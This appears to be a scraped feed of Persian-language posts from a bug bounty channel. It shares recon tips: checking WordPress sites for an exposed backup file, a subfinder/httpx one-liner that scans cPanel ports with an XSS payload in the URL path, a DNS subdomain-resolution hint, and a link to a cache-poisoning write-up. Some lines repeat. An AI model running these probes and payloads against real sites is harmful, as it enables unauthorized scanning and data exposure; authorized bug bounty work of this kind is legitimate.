CyberSecurity
سایتای وردپرسی هیچوقت فراموش نکنید این تست رو :)
همین امشب یه برنامه بانتی اینفورمیشن لیک خورد به این صورت😂:
https://example.com/wp-content/bak.zip
و بکاپ سایت دانلود شد 🤫😈
https://example.com/wp-content/bak.zip
و بکاپ سایت دانلود شد 🤫😈
subfinder -d domain.com -all -silent| httpx -silent -ports http:80,https:443,2082,2083 -path '/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">'
یه نکته فاکینگ خفن داریم سعی میکنم واضح توضیحش بدم👍
پرسش از DNS server های خود سازمان برای ریزالو بیشتر ساب دامین ها 📿
وقتی بصورت عادی dnsx به ما 100 تا ساب دامین لایو برمیگردونه آیا واقعا 100 تا از اون ها بالا هستن؟ 🤔
پس بقیه چی؟
پرسش از DNS server های خود سازمان برای ریزالو بیشتر ساب دامین ها 📿
وقتی بصورت عادی dnsx به ما 100 تا ساب دامین لایو برمیگردونه آیا واقعا 100 تا از اون ها بالا هستن؟ 🤔
پس بقیه چی؟
👍2
optizsec.com/?p=57
رایتاپ آسیب پذیری که خودم از برنامه داخلی زدم
رایتاپ آسیب پذیری که خودم از برنامه داخلی زدم
optizsec
المنتور #57 - optizsec
داستان آسیب پذیری وب کش پویزنینگ به نام خدا سلام به تمامی دوستان و همکاران عزیز.تو این رایتاپ میخوایم برسی کنیم که چطور به آسیب پذیری وب کش پویزنینگ رسیدم D:ار اونجایی که اجازه انتشار اسم تارگت رو ندارم شما اون رو target.com در نظر بگیرید. اسکوپ برنامه => …
❤7